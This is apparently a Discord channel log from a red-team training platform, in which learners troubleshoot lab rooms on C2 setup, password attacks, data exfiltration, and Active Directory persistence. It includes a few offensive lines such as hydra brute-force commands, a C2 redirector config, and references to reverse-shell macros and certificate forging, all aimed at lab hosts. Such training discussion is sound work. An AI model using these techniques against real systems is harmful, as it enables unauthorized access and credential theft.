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getting confused at the C2 tasks and specifically the proxy part

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keep getting proxy errors

proud moat
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`xzβ‰ˆΞ©z']

tight finch
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Hello

dawn girder
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on the redteam > host evasion > shellcode section they had this example of a loader in c to put your shellcode in i can not access it nomore since im not subscribe can someone with a subscription please please get me that loader
Message #red-teaming-path

patent timber
dawn girder
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Yeah youre. My apologies. My hackers fellows

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I subscribed again and got it

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I finally understand a little more shellcodes

slate kelp
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.

sinful stirrup
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having issue setting up the lateral moviment room dns to resolved the creds website. it seems i cannot nslookup the domain controller. any possible solution for that?

noble venture
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Hi guys πŸ™‚ I have problem with starting team server in armitage. I have postrgresql version 14. ```
β”Œβ”€β”€(rootγ‰Ώkali)-[/home/bodhi/armitage/release/unix]
└─# ./teamserver 192.168.64.3 P@ssw0rd123
[] Generating X509 certificate and keystore (for SSL)
[
] Starting RPC daemon
[] MSGRPC starting on 127.0.0.1:55554 (NO SSL):Msg...
[
] MSGRPC backgrounding at 2023-03-11 11:07:46 +0100...
[] MSGRPC background PID 33564
[
] sleeping for 20s (to let msfrpcd initialize)
[] Starting Armitage team server
[
] Warning: checkError(): org.postgresql.util.PSQLException: Uwierzytelnienie typu 10 nie jest obsługiwane. Upewnij się, że skonfigurowałeś plik pg_hba.conf tak, że zawiera on adres IP lub podsieć klienta oraz że użyta metoda uwierzytelnienia jest wspierana przez ten sterownik. at preferences.sl:419

** Error ** ** Error ** ** Error ** ** Error ** ** Error **

Could not connect to the Metasploit database. It's possible
that it's not running. Follow the database troubleshooting
steps at:

http://www.fastandeasyhacking.com/start

Also note: the latest Metasploit installer (4.1.4+) does not
create a postgres start script for you. This would explain
why Metasploit's database isn't running. To create one, put:

exec /usr/share/postgresql/scripts/ctl.sh "$@"

in /etc/init.d/framework-postgres. Then start the database:

service framework-postgres start

barren shale
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hi guys, do you have any good articles/blogs, etc. about numerous red-teaming ways/procedures where to find passwords on the systems and useful ways for later movement..
I am on red-team engagement and i am running out of options, i don't know where else to look for and to do, to get some creds., etc. thanks

golden bobcat
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i have a problem with armitage

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the error is "startup failed, unsupported class file major version 61"

golden bobcat
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anyone have any ideas on how to solve it?

golden bobcat
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ok i know why java version has to be 11 in order for armitrage to be built

barren shale
thin irisBOT
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Gave +1 Rep to @lime patio

iron plinth
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Does anyone know how often the email is visited in the phishing room? I've set up the phishing as is described and double checked the different options, but it does not seem like I am getting any hits. Been waiting for around 20 min by now

ivory zealot
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Anybody know what im doing wrong here? I want to say this is a bug but i always assume user error with these things. Its telling me my answer is wrong for the version number in the enumeration room on task 3

root@ip-10-10-203-197:~# cat /etc/os-release 
NAME="Ubuntu"
VERSION="18.04.6 LTS (Bionic Beaver)"
ID=ubuntu
ID_LIKE=debian
PRETTY_NAME="Ubuntu 18.04.6 LTS"
VERSION_ID="18.04"
HOME_URL="https://www.ubuntu.com/"
SUPPORT_URL="https://help.ubuntu.com/"
BUG_REPORT_URL="https://bugs.launchpad.net/ubuntu/"
PRIVACY_POLICY_URL="https://www.ubuntu.com/legal/terms-and-policies/privacy-policy"
VERSION_CODENAME=bionic
UBUNTU_CODENAME=bionic

What is the version number? 18.04.6 << My answer

native berry
thin irisBOT
#

Gave +1 Rep to @native berry

golden bobcat
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i cant brute force smtp on task 8 of password attacks room because it gives me this error:either this auth is disabled etc..

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i have used smtps and it still gives me this error anyone know what is occurring

ivory zealot
golden bobcat
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Alright will try this. Thanks

golden bobcat
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Ok I am brute forcing web page in password attack room. Trying to find out burgess password, its taking long. Is it supposed to take this long?

royal void
golden bobcat
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yeah it was that got it

tame quail
#

I finished oscp on try hack me what I have to take next

tropic ginkgo
hoary aurora
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I am completely stuck with Task 7 of Red Team OPSEC. The hint does not clarify what the first and the second number in the sequence should be (first number = upper or lower sentences?). That pushes guessing the right combination to a brute force task. Is this intended? also, the hint states to use "-signs while the example in the submit box does not. So what is the format of the answer supposed to look like?

placid terrace
#

Hi

gritty mango
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Your red team uses THC-Hydra to find the password for a specific login page. Moreover, they are using the Metasploit framework on the same system as THC-Hydra. Would you consider this an OPSEC vulnerability?

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I answered this question "no", but it is supposed to be yes

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How using both tools on same system can cause OPSEC vulnerability?

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Hmm, nevermind I re-read relavant section again and figured it out

hoary aurora
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@gritty mango just wait till you hit Task 7. I you can figure that out, you gotta explain it to me πŸ˜‰

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someone got a solution for the "Unsupported class file major version 61" while setting up armitage?

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solved it: downgrade openjdk to version 11 solved it

sick shoal
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hi everyone

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in the intro to C2 room in setting up the armitage it says build failed

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i did a google search and it said that armitage has been deprecated for a long time now

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should continue with the attackbox or what?

royal void
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trying with the attackbox is probably worth it but dunno how to get it working so yeah

placid terrace
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Hey

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In tot browser I saw some site they have provideing PayPal a/c is it true?

golden bobcat
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Might be a scam beware. Looking at the url can also sometimes tell you.

wanton torrent
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hello

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need your help for breachad vpn error

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') if you want to connect to this serve
2023-04-03 11:58:33 ERROR: Failed to apply push options
2023-04-03 11:58:33 Failed to open tun/tap interface
2023-04-03 11:58:33 SIGUSR1[soft,process-push-msg-failed] received, process restarting
2023-04-03 11:58:33 Restart pause, 256 second(s)

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getting an error

vast quest
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Are you on a VM?

wanton torrent
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yes sure

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i use kali vm

scarlet horizon
#

Hi! Hello! Stuck on Task 8 "Online password attacks" in "Passwords attacks" section of "Initial Access" step. Question 3 :
Perform a brute-forcing attack against the phillips account for the login page at http://10.10.x.x/login-get using hydra? What is the flag?

My hydra command is:

hydra -l phillips -P clinic.lst 10.10.x.x http-get-form "/login-get/index.php:username=^USER^&password=^PASS^ HTTP/1.1:F=Login failed!" -f

The clinic.lst (that is suggested to be used as per official task hint) was created with:

cewl -m 8 -w clinic.lst https://clinic.thmredteam.com/ and it contains 105 words.
The result is false positive. It is the same for other randomly checked wordlists (rockyou) and madeup usernames.

Apreciate any help! Thank you!

UPDATE: The same happens with next Question (asking to attack with POST and differently constructed wordlist).

prisma arch
vast quest
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You can't access it?

prisma arch
hoary aurora
#

does anyone know how to create a custom john rule with a special character at the end? The manual says: ?s but that triggers either an error or nothing

weary cave
tough token
#

Question, looking at windows local persistence flag6 with the txt file. I noticed that my ps1 script does not handle filenames with spaces as args are seperated by spaces. Any better way to handle those?

tough token
tough token
tough token
# vast quest Did you try using " " ?

It is handled by the system so when you double click the file it sends %1 to the script but the script only sends arg0 to notepad which is everything to the first space

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I worked around it with adding space arg1 to 5 but if the path has ore then would still fail opening the intended txt file and thus giving away something is wrong

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Fixed it in the ps1 script use arg not arg[0] then it sends all of it

crisp glen
#

Anyone else struggle with the Data Exfiltration room or is it just me? lol

earnest fulcrum
#

I had a question for people who have done "exploiting AD" or have AD vulnerability knowledge in general.
When I have access to a child Domain controller(say abc.za.tryhackme.loc) the Inter-Realm TGT would still give me access the DC of tryhackme.loc
If not always then under what circumstances?
Lastly, how can the domain trust issue be prevented without causing any issues for the general use(cross child-domain sharing etc)

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pls tag me if you answer, thanks

chrome pond
#

What's the best certificates to get for red teaming? Been following the recommended path on the website

crisp glen
atomic lynx
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I want all name machines active directory in tryhackme

waxen zodiac
#

Did anyone else find Redteam Opsec room to be confusing as heck? πŸ€” The whole task to get the flag for task 7 was really annoying to me. A lot of the examples felt very vague and confusing.

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IT all made sense until I did task 7 and then it was confusing ordering the events. (It could be related to me being a noob, but that task just confused me for a few hours)

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Also for the weaponization room (task 6) why is it necessary to add -ex bypass to this command after changing the Execution Policy using
PS C:\Users\thm\Desktop> Set-ExecutionPolicy -Scope CurrentUser RemoteSigned?
When I tried to just run
C:\Users\thm\Desktop> powershell -File thm.ps1
it just worked without needing the bypass, after I swapped the execution policy.

inland verge
inland verge
waxen zodiac
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So would -ex bypass be for if I didn't change the execution policy? πŸ€”

inland verge
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In Red Team Engagements, task 8 Operations plan, what does point 2 refers to?
"""In the event of an operator being burnt, information will be kept on a need to know basis"""

inland verge
waxen zodiac
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Oh gotcha πŸ™‚

inland verge
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otherwise it will use the default execution policy that is not allowing the execution of scripts, so it won't work

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:)

waxen zodiac
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Yeah :p Sorry for the late response but thanks for answering!

tropic ginkgo
#

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inland verge
heady lichen
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how to get red teamer tag in thm?

#

but i’m learn full path of red team

royal void
thin irisBOT
#

Gave +1 Rep to @royal void

royal void
#

to get your level role on discord you verify with the bot using the instructions found here

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!docs verify

wind boneBOT
heady lichen
#

oh

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thx x2

thin irisBOT
#

Gave +1 Rep to @tulip mauve

ivory eagle
#

URL For start room ?

open sundial
cinder sierra
#

htb

thorny lantern
#

having trouble with downloading latermal movement network vpn config file trying to import for lateral movement and pivoting section its like on a loop saying connected then keeps refreshing and dcing

sinful grove
#

Hello, I am currently in the passwords attack room, and I am having problems cracking the SMTP

I use this command hydra -S -l pittman@clinic.thmredteam.com -P ./clinic2.txt -s 587 -v smtp://10.10.188.149

But I keep getting this error

Could not create an SSL session: error:0A00010B:SSL routines::wrong version number

Can someone please tell me what I am doing wrong πŸ™? I can't seem to find any useful answers online

blazing sigil
tropic ginkgo
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Hi

tropic ginkgo
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Currently in the Introduction to Windows API room, and how do I go about understanding the syntax in the tasks?

median dagger
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hi guys, i am in now in this path and my hope is to become pentester so i wonder if this path would help me in my penetration testing engagement instead of red team

regal dust
tropic ginkgo
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What type of method is used to reference the API call to obtain a struct?

median dagger
thin irisBOT
#

Gave +1 Rep to @regal dust

regal dust
thorny lantern
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on the data exfiltration room red team path in task 9 exfiltration over dns my command is not working splitting the content into a single dns request

spark tendon
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So I just reached Breaching Active Directory and in the corner, it says I only have 2 days of access left. What does that mean? Will it go back up with my subscription or do I only have 2 days to finish all the networks?

small citrus
thin irisBOT
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Gave +1 Rep to @small citrus

elfin tulip
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Is the 7 day streak required for subscriber users as well to access "Red Team Capstone" Challenge??

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I'm not sure about this, I saw that it is available to normal users till June 5.

vast quest
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Yes.

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You need both.

elfin tulip
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:/

eternal fulcrum
#

Not going to lie that I'm little disappointed that even membership subscribers have to wait 7 days to get your hands-on to the new Red Teaming challenge.

vast quest
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Not like you were not warned

eternal fulcrum
# vast quest Not like you were not warned

I saw the announcement today. Was there an announcement about needing 7 days streak before than today? If there was one then I apologize because apparently I missed that.

bitter junco
eternal fulcrum
bitter junco
#

just posting as some feedback, red team OPSEC task 7 is way too unnecessarily confusing and there's nothing that would really explain what it wants you to do, and even after looking online and understanding what you're meant to do, the questions(statements?) are still incredibly vague and it becomes more of a guessing game than anything

bitter junco
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are the armitage tasks completely outdated? It feels like none of the instructions actually work like they should

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ok so apparently armitage is deprecated? How should I go through the tasks in that case? is there any point to learning armitage or should I just look up a guide on some other C2 framework?

tropic ginkgo
#

Good day,
I am trying the windows local persistence room, using attackbox, but even at the first step I am bleeding out. Adding a registry is just not working...

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Am I the only one, or is this tricking others too?

winter widget
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im trying to build the current release and im running into errors

foggy compass
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Windows Internals, Task #2. Logfile.PML is missing for download

foggy compass
bitter junco
# winter widget same

I ended up just doing the practical task using metasploit and looked a bit into sliver as an alternative

winter widget
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also were u able to make the vba script using msfvenom and get a reverse shell?

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my msword seems to crash any time i run the script

bitter junco
hot token
#

I have some troubles with Data Exfil room
In task with http and https I can't curl data to 80 port of web.thm.com
I tried to troubleshoot this problem and found that 80 port is closed

I found only 3 ports opened on this host: ssh (22), one TCP (33963) and one UDP
I can't restart apache (maybe because it is Docker)

What can I do?

hot token
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I've restarted machine, it works

winter widget
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can someone tell me why im getting this?

winter widget
bitter junco
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this seems to be outdated (Enumeration room)

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snmpcheck didn't work, used snmpwalk

tropic ginkgo
#

Hi, everyone! When starting to pentesting, is kali Linux image suitable?

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Thanks for the replies!

worldly harbor
#

Hey guys, I was going through the Intro to C2 module and faced issues setting up a redirector. I followed the steps mentioned in the module, but all the requests to the redirector are getting forwarded to the C2. Has anyone else faced this issue?

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I have added these lines in the /etc/apache2/sites-available/000-default.conf file:

RewriteEngine On
RewriteCond %{HTTP_USER_AGENT} "blahblah"
ProxyPass "/" "http://localhost:8888/"
tropic ginkgo
#

is going the red team path a good idea or should I just focus on SOC for my first cybersecurity job?

tropic ginkgo
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I say do whatever seems fun

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tryhackme is a good starting point to understand pentesting, but I'm not sure the certificates they give you for completing a path will necessarily result in a job

vast quest
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They're not certifications.

More certificates, "Well done, yoyu took part"

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It's a good way to show a potential employer that you enjoy learning and doing stuff, even as a hobby.

bitter junco
#

is it intentional that this AD lateral movement and pivoting room is in the Post Compromise Module?

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it shows up twice in the red team path since it's also in the AD module (which is the last module)

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and there's like 3 AD rooms that are prerequisites so this placement seems really weird

royal void
#

good question actually

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but yeah it has to do with post compromise so shadow thought it fitted in both... still maybe ask some content person

bitter junco
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yeah I just found it weird since the room wants you to do AD basics, BreachingAD and ADenumeration first, which all come in order later in the AD module, but that's not everything in the AD module either so now you're doing everything in a weird order

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guess it doesn't really matter that much at the end of the day but thought I'd mention it anyway

royal void
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probably something @white prairie decided... but dunno if he got the power to change it or if it would have to go ot others

white prairie
thin irisBOT
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Gave +1 Rep to @white prairie

spark shadow
#

Anyone can help resolving the DNS of THMDC ? i can ping but cant do nslookup ,using NetworkManager

royal void
spark shadow
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Alright thank you shadow ,gonna try that

royal void
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good luck and also have fun

spark shadow
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hmm i think i found the issue ,even on attackbox i cant find breach interface

royal void
spark shadow
royal void
spark shadow
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i think its for subscribed memberships ,even tho they havn't mentioned that

royal void
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if not that would kinda explain it

spark shadow
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Yes i did start it

spark shadow
small citrus
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what interfaces do you have?

spark shadow
small citrus
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yes, but what do you have?

spark shadow
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also was not able to ping the THMDC

royal void
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do not recall what the one shadow got was... and kinda late to check now

spark shadow
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i mean in the attackbox

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but its clearly not working for unsubscribed accounts thats why ..

small citrus
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breaching and enumerating active directory are free networks

spark shadow
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or maybe there is something wrong happening dunno but im pretty sure

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this is from my brother account

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gonna sub later and find out

small citrus
spark shadow
small citrus
spark shadow
small citrus
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does that create a new interface for you?

spark shadow
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yes it does "breach" interface

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able to ping THMDC ,but can resolve dns

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cant *

royal void
#

yeah hence the problem is not with the attackbox

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but with your current THMDC not doing what it is supposed to

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you will need to regen said vpn file if you leave and rejoin the network room too

small citrus
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you probably have to edit your /etc/resolve.conf and have the THMDC IP on top

spark shadow
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same steps
2 openvpns one subscribed .. the other is not

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works for the subscribed one

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but not to the other

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very clear what is the issue πŸ˜„

royal void
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Sigh

spark shadow
royal void
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no they do not lock the none subsribers out from the free networks

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if they did why even mark them as free to begin with

spark shadow
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well ,this issue is there ,maybe they are not ,but its there

royal void
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the problem is you get different subnets and sometimes the THMDC has crashed

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hence there are multiple DC:s that can handle it if you change subnet

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but if you change subnet your old vpn file will not work so you need to make a new one

spark shadow
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i tried to change the subnet ,i keep getting back to the same one πŸ˜„

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leave --> join ... repeat

royal void
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regen vpn

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connect

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try again

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technically making people share subnets also cuts costs but they need multiple ones or they will be getting reset all the time or people will break it and other nasties

honest cape
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We don’t block or filter your connection if you’re a free user, why would we? πŸ™‚

royal void
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oooh thanks for piping in @honest cape

thin irisBOT
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Gave +1 Rep to @honest cape

honest cape
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Also, if you’re using your friend’s OpenVPN file, it’s probably on a different subnet

spark shadow
thin irisBOT
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Gave +1 Rep to @honest cape

honest cape
tardy willow
#

Hello everyone!
May I ask one think
#room-bugs message
I didn't understand why this happening and I though it was bug.

round frost
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im running snmpchecker in enumeration windows im not getting a response

uncut void
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Hello, hope this is the correct place to ask this. Anyway, doing Red Teaming Signature Evasion task 7 and I'm trying to understand the answer in the walkthrough. So in the answer it says "If you inspect the binaries IAT table as discussed in task 6, you will notice there are roughly seven unique API calls that could indicate the objectives of this binary." How did they find that number? I've used Objdump -d and also ida pro free version. Is it correct to look at the "Imports" tabs once I've loaded the PE? Like in the picture below?

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Sorry, I cant add picture for some reason. But there are 7 names that calls these two libraries WS2_32 and WSOCK32. Does calls to Kernel32 count?

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Im just having trouble making sense of this so if anyone have good resources I could read that would be nice. Thanks for the help

round frost
buoyant reef
#

Hi can someone help me with payload?

toxic girder
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looking for help with task 6 in runtime detection evasion have the flag but it says wrong one it is the only flag that comes up after entering the oneline into powershell

zinc oriole
#

Anyone having problem with autoopen running macro'

halcyon vapor
pale cairn
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In the enumerating AD room there is no start machine button, when I start attackbox there is no interface enumad neither to find on access page

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WHAT am I doing wrong please?

tropic ginkgo
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Hi everyone i am stucl on data exfiltration task6

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When i put this command i get :

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curl --socks5 127.0.0.1:1080 http://flag.thm.com/flag:80 <p><a href="/flag">Get Your Flag!</a></p>

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but i don't get the flag

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Can you help me please

rare ravine
tropic ginkgo
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Yeah thanks πŸ™‚

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I 'am so stupid sometimes

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Thanks Gray

rare ravine
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hahah understandable, np

golden bobcat
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task 3 exploiting ad: i try to create a PS session to thmserver1 and I can't. I already imported all the tickets

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im using attackbox

golden bobcat
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nevermind, figured it out

tropic ginkgo
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Hello everyone, im stuck on windows internal room task2

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How did you find the ID process for notepad.exe with Procmon

tropic ginkgo
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It's good. Problem is solved

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use filter and select process name is notepad.exe include

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delete other process with cross barred. Thank πŸ™‚

somber sierra
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running through the red team path and am on the "red team threat intel" room working on task 7 (trying to map TTPs from MITRE ATT&CK to the Cyber Kill Chain) - I'm looking at the ATT&CK Navigator for APT41 and am super confused as to what I'm supposed to actually put in the kill chain with the first part of the task. does anyone remember this/can help point me in the right direction?

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just kidding, I was going backwards

tropic ginkgo
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Hi everybody, i don't found answer at this question

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What is the memory allocation type of 0x00080000 in the VirtualAlloc API call?

tropic ginkgo
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What type of method is used to reference the API call to obtain a struct?

zinc oriole
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anyone skilledi n armitage?
I have a problem where I dont get my little icons showing inside the GUI window

cinder sierra
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Does anyone have an idea why I get this error when trying to start the teamserver?

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I can't find the armitage.jar file anywhere on my system.

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I've installed armitage with apt install btw

royal void
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find / -iname armitage.jar 2>/dev/null ???
because that would search your entire system for a file with the name armitage.jar not case sensitive and also send errors to the void

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@cinder sierra ⬆️

bitter junco
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that room is a skipper imo, but if you wanna do it you might have to do some reasearch on how to make it run

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doing it on the attackbox might work as well

cinder sierra
thin irisBOT
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Gave +1 Rep to @royal void

cinder sierra
bitter junco
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you can take a look at the c2matrix as well

wheat brook
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ICMP Data Exfiltration
i do it with vpn in my machine
i open msfconsole with all setting as in the task
i did nping in the thm@icmp-host machine - but its not seem to sent to my msfconsole to get it

any idea why ?

nimble seal
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Hello, I have some trouble with the data exfiltration room (dataxexfilt) at task 7 ( Exfiltration using ICMP)
When I try to run the metasploit icmp_exfil script with the eth0 interface on the attackbox, it says that the interface eth0 does not exist, and indeed it doesn't exist on the attackbox
Should I use another interface instead ?
Or did I miss something ?

nimble seal
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Okay, I had to use another interface πŸ‘Œ

solar sierra
vast quest
#

I think it's ENS5

solar sierra
nimble seal
lunar remnant
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hi

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it is showing wrong password

echo ore
# lunar remnant it is showing wrong password

Make sure the account you are using to transfer the file matches the one you provide to the smbserver script. It looks like you issue the copy command using Administrator instead of thmuser1

lunar remnant
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I found the solution, i didn't added it in the "remote management users" group

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Thankyou @echo ore bts

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Btw*

slender bough
#

Hi Legends, can you guys share me with your thoughts(and reasons) that you are diving into #red-teaming-path instead of #offensive-pentesting-path after you've done your jr pentester. I've done my jr pentester 5months ago and thinking of a furth pathway. Thx legends😻

lunar remnant
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Hi

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I am getting an erroe

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Error*

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In local persistent > tempering with unprivilaged accounts > RID hijacking

When i m changing the RID then evil-winrm is giving this error

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Amd if i try to login without changing RID.. it giving me the access

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does Anybody knows about it?

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I gave all perms
Added in all groups
Already set LocalAccoutTokenFilterPolicy to 1

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Got the solution

evil-winrm is giving glitchs in it
use REMMINA

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Instead

frigid flume
#

Hello,
I'm searching for dedicated CTF players to stick with our team for the long time. We achieved a ranking of 70 on Enowars 7 with just three players. DM me if you're interested

rough flare
#

Hi all, I am new to tryhackme, very new to infosec, and my intended career path is red team. Does anyone have any input on which modules to prioritize on the website, aside from the obvious? Thanks

proper root
rough flare
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Yeah, I know some basics, but not like someone who’s worked in IT. More like being a hobbyist teen on IRC and Linux.

I’ve done, on tryhackme, the β€œintroduction to cybersecurity”, and am midway through β€œpre security”

From there, I was assuming I should start with β€œred teaming” next

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Also, these modules looked appealing:
-Network security
-nmap
-initial access
-red team fundamentals
-introduction to offensive security
-recent threats
-compromising Active Directory
-Linux fundamentals

proper root
thin irisBOT
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Gave +1 Rep to @proper root

digital yoke
#
pwndbg> info functions
All defined functions:

File loop.c:
2:    int main();

Non-debugging symbols:
0x0000000000001000  _init
0x0000000000001030  printf@plt
0x0000000000001040  __cxa_finalize@plt
0x0000000000001050  _start
0x0000000000001080  deregister_tm_clones
0x00000000000010b0  register_tm_clones
0x00000000000010f0  __do_global_dtors_aux
0x0000000000001130  frame_dummy
0x0000000000001178  _fini
pwndbg> 
``` where is the main function?
modest fractal
acoustic vapor
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Hi everyone. In the "Red Team Threat Intel" room, during Task 7, what's the proper way of finding the answers to these questions?

What LOLBAS (Living Off The Land Binaries and Scripts) tool does APT 41 use to aid in file transfers?
What tool does APT 41 use to mine and monitor SMS traffic?

Is one supposed to read everything in the ATT&CK Navigator page and find the answers? For example for the MESSAGETAP there was no "SMS" keyword anywhere, and for the certutil, there seem to be other answers like "ShadowPad" and "ZxShell"

proper root
acoustic vapor
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But how would I know for certain which one is the answer to the question without trying all possible answers?

proper root
tall crystal
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The target allows Telnet traffic. Using ncat, how do we set a listener on the Telnet port?
ansver:ncat -nlvp 23

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no
Why not accept the answer?

covert narwhal
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i need some help in this task

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How can i fix it? ;-;

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i try to research but I can't do it

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i try to upload file loot.zip to bloodhound but it's alert BAD JSON

royal void
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check if your version of sharphound is compatible with your version of bloodhound

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@covert narwhal ⬆️

sharp shore
covert narwhal
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thank you i will try it

foggy compass
#

@tulip mauve @forest sequoia @static scroll @zealous wind Have you managed to solve the task 10 in Evading Logging and Monitoring?

tulip mauve
foggy compass
thin irisBOT
#

Gave +1 Rep to @tulip mauve

vale prawn
#

What should be configured between two domains for a user in Domain A to access a resource in Domain B? Ansewer : A Trust Relationship (Don't you think the answer should be B Trust Relationship? It was written to be the opposite direction? )

royal void
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it is a as in the word a and not the letter a

wide venture
#

Hello guys

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Where can i get the learning path for pentester

spare depot
#

Unfortunately, completing the learning paths are limited to subscribers only.

minor garnet
#

Tryhackme is down . Tryhackme website is unreachable wtf

tropic ginkgo
#

what exactly does it mean when your computers domain is WORKGROUP

rapid quest
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From my understanding workgroups are more centralized in access and permissions than on domains.

elder mason
#

Hi everyone....I am a beginner in Cyber Security field. Can someone suggest me learning path as well as some useful resources to start my journey.

rapid quest
elder mason
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Any recommended resources?

stable briar
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if i get stuck or have literally no idea how to continue i check writeups

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although i think this might work better for those who have a bit more knowledge

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if you're just starting i'd recommend you watch videos or read some writeups to understand that every ctf is basically the same methodology: enum, exploit, priv esc

tropic ginkgo
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i dont speak that language

sharp shore
tropic ginkgo
#

ty

wheat brook
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hey im ikeep getting error i did exactly as in the task but Rubeus error

anyone please help

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@white prairie can u help

white prairie
wheat brook
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im in Persisting Active Directory

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task 4

white prairie
# wheat brook im in Persisting Active Directory

Can you authenticate to the domain controller and run gpupdate /force and see if that fixes the issue for you? TL;DR the CA cert expired, we are busy with upkeep for these networks which will remedy the issue, but in the mean time you can just ask the CA to regen its own cert again

wheat brook
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what u mean by that - authenticate to the domain controller

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just doing ssh like that?

white prairie
wheat brook
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in what kind

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oh fine

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no problem i try

white prairie
#

If that does not solve it for you, let me know and I'll give you the second set of steps for it

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Also worth noting that even if PKINIT does not work, you can still use that cert with SCHANNEL authentication through something like certipy. If you ever run into this on an assessment

wheat brook
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after gpupdate in the machine i remmina to it
and i try the command again but still

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maybe pic not clear but same error

white prairie
wheat brook
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ok i do it
then i choose as in pic 1
but when i arrive to pic 2 it say certificate types not available

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@white prairie what u say on that
im really stuck in this

white prairie
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Domain controller is .101 or .100

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This one here:

wheat brook
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100 is root no access to it
i do to child dc is 101 i success

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yea

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im on it

white prairie
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So whatever your IP is, authenticate to that one and then do the MMC changes there

wheat brook
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certificate template
certificate
certifiacte authurity

which snap i should choose?

white prairie
wheat brook
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local computer or another computer

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give me choices

white prairie
wheat brook
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@white prairie NotLikeThis

white prairie
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I think you are still enrolling from the wrong location. Send me the remote IP in your OVPN file and I'll push the fix for you

wheat brook
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im as admin on 101

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my virtual ip on persistant is 10.50.59.174

white prairie
wheat brook
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but i like to know which part i wrong in the steps of task ?

white prairie
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Open your OVPN file, read the remote IP and send that

white prairie
wheat brook
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client
dev persistad
dev-type tun
proto tcp
sndbuf 0
rcvbuf 0
remote 54.170.126.211 1194

white prairie
wheat brook
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after ur fix shoule i do the process again since from here ?
mimikatz # crypto::certificates /systemstore:local_machine

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or i can use my certificate before do Rubeus

white prairie
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See here, the Client Authentication CERT has expired. But the CA cert has not, that is still valid until 2027

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Someone shut down the host as I was working. Will wait for a reboot and then enrol the certs

wheat brook
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but i like to know if i wrong in the steps or just issue in the domain side?

white prairie
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I think your network time might have ran out

white prairie
wheat brook
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ur coorect i expand it now

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now its up

white prairie
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Tells me your are enrolling under the wrong policy

wheat brook
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wait i cant login by remmina its show like its login then its crashed out

white prairie
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Please stop

wheat brook
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ok

white prairie
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I'm working on the machine

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You are kicking me out as I'm working

wheat brook
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sry didnt know..

white prairie
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Enrolment done

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See the new certs that are valid until 2024. You're rubeus attack should now work

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Also I'm done on the DC, so you can authenticate to it now

wheat brook
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thank u so much. ill try just tell me

white prairie
wheat brook
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so i can use Rubeus with the file i have or all process again ?

white prairie
wheat brook
#

the ca for dc ofc

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then ForgeCert to new one

white prairie
# wheat brook the ca for dc ofc

So then think about your question. If you extracted the CA cert, which was still valid until 2027, do you need to do that again?

wheat brook
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ok gotche πŸ™‚ ill try direct rubeus

white prairie
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Good luck there

wheat brook
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its done successfully i appreciate so much!! thank you @white prairie

thin irisBOT
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Gave +1 Rep to @white prairie

white prairie
meager shell
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Hey, how did you login as thmusr3? I got the same problem.

ionic bobcat
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Does anyone know how to fix this in VMware?

minor garnet
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hellworld

south stump
vast quest
ionic bobcat
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nothing need help in smbrelayattack
anyone knows why im getting this..please dm

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@vast quest

grizzled sparrow
meager shell
#

Hey, can you tell me how you got the revshell to be executed. The #unknown room doesn't exist.

ebon path
#

When I was working on the Lateral Movement and Pivoting room, connection timed out; no servers could be reached.
problem, but there is no problem with the Exploiting Active Directory room. I am using attackbox. Can anyone tell me how to solve this problem?

wheat brook
#

hey
i win 2 ticket can anyone exaplin me what the tickets mean and what for ?

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Security Warrior, Β£5 Swag Voucher
that example what i got

spare depot
humble crown
empty coyote
#

In "Data Exfiltration", Task 10 "DNS Tunneling" I am unable to reach the flag webserver at the last question. I assume this is a bug, since I have logged into the webserver per SSH and there is no web server running on port 80 (or any port). I just grab the flag from the source code, but I guess it should get fixed.

ebon path
humble crown
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Thanks for the update :)

weak trout
#

Hello there,
Does someones have troubles with the room "Red Team Threat Intel"?
I'm on the task 5 about the Carbarnak methods. I loaded the enterprise layer from MITRE ATT&CK in the ATT&CK Navigator. But the data I see doesn't match the responses. For the Command and Control techniques, I've got 16 techniques, but the response is 2.
Same for the signed binary used by Carbarnak, I've got a dozen, but there's only one answer.
Has the information changed since this room was created, or I'm wrong?

fresh coral
weak trout
thin irisBOT
#

Gave +1 Rep to @fresh coral

fast obsidian
#

.Hey guys I have a question. I want to be a red teamer. I'm doing Jnr penetration tester path. But I'm having trouble grasping the full concept. So can I do security engineer and coc path first practice it a little then come back to penetration path.What I'm trying to ask is that can I become a red teamer later by first learning blue team

charred kestrel
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Hello Guys I'm doing the RedTeam Path and so far I got stuck in room Windows Local Persistence task, the last persistence called Tampering With Unprivileged Accounts and for some reason after assigning the thmuser3 the RID to 500, I'm not able to login via RDP as thmuser3.... Did anyone face this issue while following this room?

thanks

charred kestrel
#

It seems like changing the RID of the low level user, end up altering the creds as well. I tried a RUNAS command and it tells me that the password is not correct.

primal warren
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Given the network configuration below develop a penetration plan (based on red team):

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anyone help me develop a plan rq? im just trying to get into how i would go about penetration test this config image above

charred kestrel
primal warren
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i was just told no one can help me if its academic and i dont want to go against any rules i guess

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but i just wanted some clarity

stoic marten
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I was able to log into RDP after changing these values

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And did you use Regedit as the SYSTEM user? Perhaps the changes were not made due to the lack of privileges

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Did you use PsExec64.exe to open regedit as a SYSTEM user?

white sparrow
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Seeking support with Sandbox Evasion Task 3. The cpp code is not able to be compiled because urlmon.h is missing on the Windows box. I added the header, but then other errors just start mounting up. Couldn't compile on the AttackBox either.

Found this https://stackoverflow.com/questions/70429967/urlmon-h-doesnt-exist-cannot-find-any-solutions-other-than-some-posts-from-2 when searching for answers. Says the environment needs to be set-up for 32-bit, but I can't figure out what to do past this point.

deft cliff
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Can someone help me to finish red team C2 communication?

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I tried to do vulnerability scan PC 10.10.13.105/32, using by Eternal Blue, Armitage but it says

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msf6 > db_nmap --min-hostgroup 96 -T4 -n -F 10.10.13.105/32
[] Nmap: Starting Nmap 7.60 ( https://nmap.org ) at 2023-10-18 04:02 BST
[
] Nmap: Note: Host seems down. If it is really up, but blocking our ping probes, try -Pn
[*] Nmap: Nmap done: 1 IP address (0 hosts up) scanned in 0.53 seconds

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sorry, not ethernal blue, nmap

charred kestrel
charred kestrel
stoic marten
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Yeah I had problems trying to RDP as well when not making sure you replace it correctly, as it is very easy to overwrite the incorrect values

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The way I confirmed that it was done correctly was by looking at the line counter on the left, before I started to change the RID I had 0x50 lines of data

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The first few times I was left with either 0x48 or 0x49, so I knew I had overwritten the wrong lines

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I have always used xfreerdp as my client to set up the RDP session

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xfreerdp /u:[USER] /p:[PASSWORD] /v:[MACHINE_IP]

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This should work for you, if it doesn't there might be something related to the connection between you and the network I'm not sure

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Glad it worked though πŸ‘

charred kestrel
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I’ll try to create my own Lab with this privileges setup and try to replicate this RID Persistence

charred kestrel
stoic marten
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xfreerdp is very quick and easy through the terminal, maybe that will work

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I also had an issue where I needed to reset the box, after this the RDP worked

winter topaz
